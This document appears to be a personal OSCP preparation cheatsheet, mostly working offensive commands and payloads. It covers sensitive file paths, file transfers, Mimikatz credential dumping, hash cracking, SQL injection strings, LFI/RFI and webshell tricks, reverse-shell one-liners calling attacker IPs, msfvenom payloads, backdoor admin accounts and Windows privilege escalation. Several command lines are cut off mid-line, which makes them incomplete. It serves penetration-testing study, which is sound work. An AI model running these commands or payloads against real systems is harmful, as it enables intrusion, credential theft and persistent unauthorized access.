# OSCP Cheatsheet

- I prepared this cheatsheet as part of my OSCP preperation.
- I'll keep this updating.
- For any suggestions mail me contact.saisathvik@gmail.com

# Table of Content

# General

## Important Locations

- Windows

```
C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
```

```
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log
```

- Linux

```
/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
```

```
/etc/apache2/sites-enabled/000-default.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/knockd.conf
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
```

```
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
```

```
/opt/xampp/etc/php.ini
/proc/cmdline
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/<PID>/cmdline
/proc/<PID>/maps
/proc/sched_debug
/proc/self/cwd/app.py
/proc/self/environ
/proc/self/net/arp
/proc/stat
/proc/swaps
/proc/version
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
```

```
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
```

```
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/html<VHOST>/__init__.py
/var/www/html/db_connect.php
/var/www/html/utils.php
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
```

```
    ~/.bashrc
    ~/.gtkrc
    ~/.login
    ~/.logout
    ~/.mysql_history
    ~/.nano_history
    ~/.php_history
    ~/.profile
    ~/.ssh/authorized_keys
    #id_rsa, id_ecdsa, id_ecdsa_sk, id_ed25519, id_ed25519_sk, and id_dsa
    ~/.ssh/id_dsa
    ~/.ssh/id_dsa.pub
    ~/.ssh/id_rsa
    ~/.ssh/id_edcsa
    ~/.ssh/id_rsa.pub
    ~/.ssh/identity
    ~/.ssh/identity.pub
    ~/.viminfo
    ~/.wm_style
    ~/.Xdefaults
    ~/.xinitrc
    ~/.Xresources
    ~/.xsession
```

# File Transfers

- Downloading on Windows

```
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\tem
iwr -uri http://lhost/file -Outfile file
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
copy \\kali\share\file .
```

- Downloading on Linux

```
wget http://lhost/file
curl http://<LHOST>/<FILE> > <OUTPUT_FILE>
```

## Windows to Kali

```
kali> impacket-smbserver -smb2support <sharename> .
win> copy file \\KaliIP\sharename
```

# Adding Users

## Windows

```
net user hacker hacker123 /add
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /ADD
```

## Linux

```
adduser <uname> #Interactive
useradd <uname>

useradd -u <UID> -g <group> <uname>  #UID can be something new than existing, this commar
```

# Password-Hash Cracking

*Hash Analyzer*: https://www.tunnelsup.com/hash-analyzer/

## fcrackzip

```
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip #Cracking zip files
```

## John

> https://github.com/openwall/john/tree/bleeding-jumbo/run

```
ssh2john.py id_rsa > hash
#Convert the obtained hash to John format(above link)
john hashfile --wordlist=rockyou.txt
```

## Hashcat

> https://hashcat.net/wiki/doku.php?id=example_hashes

```
#Obtain the Hash module number
hashcat -m <number> hash wordlists.txt --force
```

## Mimikatz

```
privilege::debug
sekurlsa::logonpasswords #hashes and plaintext passwords
lsadump::sam
lsadump::lsa /patch #both these dump SAM

#OneLiner
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

## Ligolo-ng

```
#Creating interface and starting it.
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

#Kali machine - Attacker machine
./proxy -laddr <LHOST>:9001 -selfcert

#windows or linux machine - compromised machine
./agent -connect <LHOST>:9001 -ignore-cert

#In Ligolo-ng console
session #select host
ifconfig #Notedown the internal network's subnet
start #after adding relevent subnet to ligolo interface

#Adding subnet to ligolo interface - Kali linux
sudo ip r add <subnet> dev ligolo
```

# Recon and Enumeration

- OSINT OR Passive Recon

  💡 Not that useful for OSCP as we'll be dealing with internal machines

  - whois: `whois <domain>` or `whois <domain> -h <IP>`
  - Google dorking,

        - site
        - filetype
        - intitle
        - GHDB - Google hacking database
    - OS and Service Information using searchdns.netcraft.com
    - Github dorking
        - filename
        - user
        - A tool called Gitleaks for automated enumeration
    - Shodan dorks
        - hostname
        - port
        - Then gather infor by going through the options
    - Scanning Security headers and SSL/TLS using https://securityheaders.com/

## Port Scanning

```
#use -Pn option if you're getting nothing in scan
nmap -sC -sV <IP> -v #Basic scan
nmap -T4 -A -p- <IP> -v #complete scan
sudo nmap -sV -p 443 --script "vuln" 192.168.50.124 #running vuln category scripts

#NSE
updatedb
locate .nse | grep <name>
sudo nmap --script="name" <IP> #here we can specify other options like specific ports...e

Test-NetConnection -Port <port> <IP>   #powershell utility

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("IP", $_)) "TCP port $_ is
```

## FTP enumeration

```
ftp <IP>
#login if you have relevant creds or based on nmpa scan find out whether this has anonymo

put <file> #uploading file
get <file> #downloading file

#NSE
```

```
locate .nse | grep ftp
nmap -p21 --script=<name> <IP>

#bruteforce
hydra -L users.txt -P passwords.txt <IP> ftp #'-L' for usernames list, '-l' for username

#check for vulnerabilities associated with the version identified.
```

## SSH enumeration

```
#Login
ssh uname@IP #enter password in the prompt

#id_rsa or id_ecdsa file
chmod 600 id_rsa/id_ecdsa
ssh uname@IP -i id_rsa/id_ecdsa #if it still asks for password, crack them using John

#cracking id_rsa or id_ecdsa
ssh2john id_ecdsa(or)id_rsa > hash
john --wordlist=/home/sathvik/Wordlists/rockyou.txt hash

#bruteforce
hydra -l uname -P passwords.txt <IP> ssh #'-L' for usernames list, '-l' for username and

#check for vulnerabilities associated with the version identified.
```

## SMB enumeration

```
sudo nbtscan -r 192.168.50.0/24 #IP or range can be provided

#NSE scripts can be used
locate .nse | grep smb
nmap -p445 --script="name" $IP

#In windows we can view like this
net view \\<computername/IP> /all

#crackmapexec
crackmapexec smb <IP/range>
crackmapexec smb 192.168.1.100 -u username -p password
crackmapexec smb 192.168.1.100 -u username -p password --shares #lists available shares
crackmapexec smb 192.168.1.100 -u username -p password --users #lists users
crackmapexec smb 192.168.1.100 -u username -p password --all #all information
crackmapexec smb 192.168.1.100 -u username -p password -p 445 --shares #specific port
crackmapexec smb 192.168.1.100 -u username -p password -d mydomain --shares #specific dom
#Inplace of username and password, we can include usernames.txt and passwords.txt for pas

# Smbclient
smbclient -L //IP #or try with 4 /'s
smbclient //server/share
smbclient //server/share -U <username>
mbclient //server/share -U domain/username

#SMBmap
smbmap -H <target_ip>
smbmap -H <target_ip> -u <username> -p <password>
smbmap -H <target_ip> -u <username> -p <password> -d <domain>
smbmap -H <target_ip> -u <username> -p <password> -r <share_name>

#Within SMB session
put <file> #to upload file
get <file> #to download file
```

- Downloading shares made easy - if the folder consists of several files, they all be downloading by this.

```
mask ""
recurse ON
prompt OFF
mget *
```

## HTTP/S enumeration

- View source-code and identify any hidden content. If some image looks suspicious download and try to find hidden data in it.
- Identify the version or CMS and check for active exploits. This can be done using Nmap and Wappalyzer.
- check /robots.txt folder
- Look for the hostname and add the relevant one to `/etc/hosts` file.
- Directory and file discovery - Obtain any hidden files which may contain juicy information

```
dirbuster
gobuster dir -u http://example.com -w /path/to/wordlist.txt
python3 dirsearch.py -u http://example.com -w /path/to/wordlist.txt
```

- Vulnerability Scanning using nikto: `nikto -h <url>`

- SSL certificate inspection, this may reveal information like subdomains, usernames…etc
- Default credentials, Identify the CMS or service ans check for default credentials and test them out.
- Bruteforce

```
hydra -L users.txt -P password.txt <IP or domain> http-{post/get}-form "/path:name=^USER^
# Use https-post-form mode for https, post or get can be obtained from Burpsuite. Also dc

#Bruteforce can also be done by Burpsuite but it's slow, prefer Hydra!
```

- if `cgi-bin` is present then do further fuzzing and obtain files like .sh or .pl
- Check if other services like FTP/SMB or anyothers which has upload privileges are getting reflected on web.
- API - Fuzz further and it can reveal some sensitive information

```
#identifying endpoints using gobuster
gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p patterr

#obtaining info using curl
curl -i http://192.168.50.16:5002/users/v1
```

- If there is any Input field check for **Remote Code execution** or **SQL Injection**
- Check the URL, whether we can leverage **Local or Remote File Inclusion**.
- Also check if there’s any file upload utility(also obtain the location it’s getting reflected)

## Wordpress

```
# basic usage
wpscan --url "target" --verbose

# enumerate vulnerable plugins, users, vulrenable themes, timthumbs
wpscan --url "target" --enumerate vp,u,vt,tt --follow-redirection --verbose --log target.

# Add Wpscan API to get the details of vulnerabilties.
```

## Drupal

```
droopescan scan drupal -u http://site
```

### Joomla

```
droopescan scan joomla --url http://site
sudo python3 joomla-brute.py -u http://site/ -w passwords.txt -usr username #https://gith
```

## DNS enumeration

```
host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com

for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found" #bash brutef

dnsrecon -d megacorpone.com -t std #standard recon
dnsrecon -d megacorpone.com -D ~/list.txt -t brt #bruteforce, hence we provided list

dnsenum megacorpone.com

nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151 #we're querying with a specific IP
```

## SMTP enumeration

```
nc -nv <IP> 25 #Version Detection
smtp-user-enum -M VRFY -U username.txt -t <IP> # -M means mode, it can be RCPT, VRFY, EXP

#Sending email with valid credentials, the below is an example for Phishing mail attack
sudo swaks -t user1@test.com -t user2@test.com --from user3@test.com --server <mailserver
```

## LDAP Enumeration

```
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN
#CN name describes the info w're collecting
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admin
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise A
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrato
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Deskt
```

```
#windapsearch.py
#for computers
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --computers

#for groups
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --groups

#for users
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --da

#for privileged users
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --privileged-use
```

## NFS Enumeration

```
nmap -sV --script=nfs-showmount <IP>
showmount -e <IP>
```

## SNMP Enumeration

```
snmpcheck -t <IP> -c public
snmpwalk -c public -v1 -t 10 <IP>
snmpenum -t <IP>
```

## RPC Enumeration

```
rpcclient -U=user $DCIP
rpcclient -U="" $DCIP #Anonymous login
##Commands within in RPCclient
srvinfo
enumdomusers #users
enumpriv #like "whoami /priv"
queryuser <user> #detailed user info
getuserdompwinfo <RID> #password policy, get user-RID from previous command
lookupnames <user> #SID of specified user
createdomuser <username> #Creating a user
deletedomuser <username>
enumdomains
enumdomgroups
querygroup <group-RID> #get rid from previous command
querydispinfo #description of all users
```

```
netshareenum #Share enumeration, this only comesup if the current user we're logged in ha
netshareenumall
lsaenumsid #SID of all users
```

# Web Attacks

💡 Cross-platform PHP revershell: https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php

## Directory Traversal

```
cat /etc/passwd #displaying content through absolute path
cat ../../../etc/passwd #relative path

# if the pwd is /var/log/ then in order to view the /etc/passwd it will be like this
cat ../../etc/passwd

#In web int should be exploited like this, find a parameters and test it out
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
#check for id_rsa, id_ecdsa
#If the output is not getting formatted properly then,
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/pas

#For windows
http://192.168.221.193:3000/public/plugins/alertlist/../../../../../../../../Users/instal
```

- URL Encoding

```
#Sometimes it doesn't show if we try path, then we need to encode them
curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```

- Wordpress
  - Simple exploit: https://github.com/leonjza/wordpress-shell

## Local File Inclusion

- Main difference between Directory traversal and this attack is, here we’re able to execute commands remotely.

```
#At first we need
http://192.168.45.125/index.php?page=../../../../../../../../../var/log/apache2/access.lo

#Reverse shells
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
#We can simply pass a reverse shell to the cmd parameter and obtain reverse-shell
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22 #er

#PHP wrapper
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20
curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode
```

- Remote file inclusion

```
1. Obtain a php shell
2. host a file server
3.
http://mountaindesserts.com/meteor/index.php?page=http://attacker-ip/simple-backdoor.php&
we can also host a php reverseshell and obtain shell.
```

## SQL Injection

```
admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-
```

- Blind SQL Injection - This can be identified by Time-based SQLI

```
#Application takes some time to reload, here it is 3 seconds
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //
```

- Manual Code Execution

```
kali> impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth #To login
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
#Now we can run commands
EXECUTE xp_cmdshell 'whoami';

#Sometimes we may not have direct access to convert it to RCE from web, then follow below
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var
#Now we can exploit it
http://192.168.45.285/tmp/webshell.php?cmd=id #Command execution
```

- SQLMap - Automated Code execution

```
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user #Testing on parameter names "
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump #Dumping database

#OS Shell
#  Obtain the Post request from Burp suite and save it to post.txt
sqlmap -r post.txt -p item  --os-shell  --web-root "/var/www/html/tmp" #/var/www/html/tmp
```

# Exploitation

## Reverse Shells

### Msfvenom

```
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php
```

## One Liners

```
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con
<?php echo shell_exec('bash -i >& /dev/tcp/10.11.0.106/443 0>&1');?>
#For powershell use the encrypted tool that's in Tools folder
```

💡 While dealing with PHP reverseshell use: [https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php)

## Groovy reverse-shell

- For Jenkins

```
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(
```

# Windows Privilege Escalation

## Basic

```
#Starting, Restarting and Stopping services in Powershell
Start-Service <service>
Stop-Service <service>
Restart-Service <service>

#Powershell History
type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost
```

## Automated Scripts

```
winpeas.exe
winpeas.bat
Jaws-enum.ps1
powerup.ps1
PrivescCheck.ps1
```

## Token Impersonation

- Command to check `whoami /priv`

```
#Printspoofer
PrintSpoofer.exe -i -c powershell.exe
PrintSpoofer.exe -c "nc.exe <lhost> <lport> -e cmd"

#RoguePotato
RoguePotato.exe -r <AttackerIP> -e "shell.exe" -l 9999

#GodPotato
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "shell.exe"

#JuicyPotatoNG
JuicyPotatoNG.exe -t * -p "shell.exe" -a

#SharpEfsPotato
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoam
#writes whoami command to w.log file
```

## Services

### Binary Hijacking

```
#Identify service from winpeas
icalcs "path" #F means full permission, we need to check we have full access on folder
sc qc <servicename> #find binarypath variable
sc config <service> <option>="<value>" #change the path to the reverseshell location
sc start <servicename>
```

### Unquoted Service Path

```
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """  #Displ
#Check the Writable path
icalcs "path"
#Insert the payload in writable location and which works.
sc start <servicename>
```

### Insecure Service Executables

```
#In Winpeas look for a service which has the following
File Permissions: Everyone [AllAccess]
#Replace the executable in the service folder and start the service
sc start <service>
```

### Weak Registry permissions

```
#Look for the following in Winpeas services info output
HKLM\system\currentcontrolset\services\<service> (Interactive [FullControl]) #This means

accesschk /acceptula -uvwqk <path of registry> #Check for KEY_ALL_ACCESS

#Service Information from regedit, identify the variable which holds the executable
reg query <reg-path>

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:
#Imagepath is the variable here

net start <service>
```

## DLL Hijacking

## Autorun

```
#For checking, it will display some information with file-location
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

#Check the location is writable
```

```
accesschk.exe \accepteula -wvu "<path>" #returns FILE_ALL_ACCESS

#Replace the executable with the reverseshell and we need to wait till Admin logins, ther
```

## AlwaysInstallElevated

```
#For checking, it should return 1 or 0x1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

#Creating a reverseshell in msi format
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<port> --platform windows -f m

#Execute and get shell
msiexec /quiet /qn /i reverse.msi
```

## Schedules Tasks

```
schtasks /query /fo LIST /v #Displays list of scheduled tasks, Pickup any interesting one
#Permission check - Writable means exploitable!
icalcs "path"
#Wait till the scheduled task in executed, then we'll get a shell
```

## Startup Apps

```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp #Startup applications can be
#Check writable permissions and transfer
#The only catch here is the system needs to be restarted
```

## Insecure GUI apps

```
#Check the applications that are running from "TaskManager" and obtain list of applicatio
#Open that particular application, using "open" feature enter the following
file://c:/windows/system32/cmd.exe
```

## Passwords

## Sensitive files

```
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
Findstr /si password *.config
findstr /si pass/pwd *.ini

dir /s *pass* == *cred* == *vnc* == *.config*

in all files
findstr /spin "password" *.*
findstr /spin "password" *.*
```

## Config files

```
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

dir /b /s unattend.xml
dir /b /s web.config
dir /b /s sysprep.inf
dir /b /s sysprep.xml
dir /b /s *pass*

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
```

## Registry

```
reg query HKLM /f password /t REG_SZ /s
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

### VNC
```

```
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKCU\Software\TightVNC\Server"

### Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "D

### SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

### Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

### Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

## RunAs - Savedcreds

```
cmdkey /list #Displays stored credentials, looks for any optential users
#Transfer the reverseshell
runas /savecred /user:admin C:\Temp\reverse.exe
```

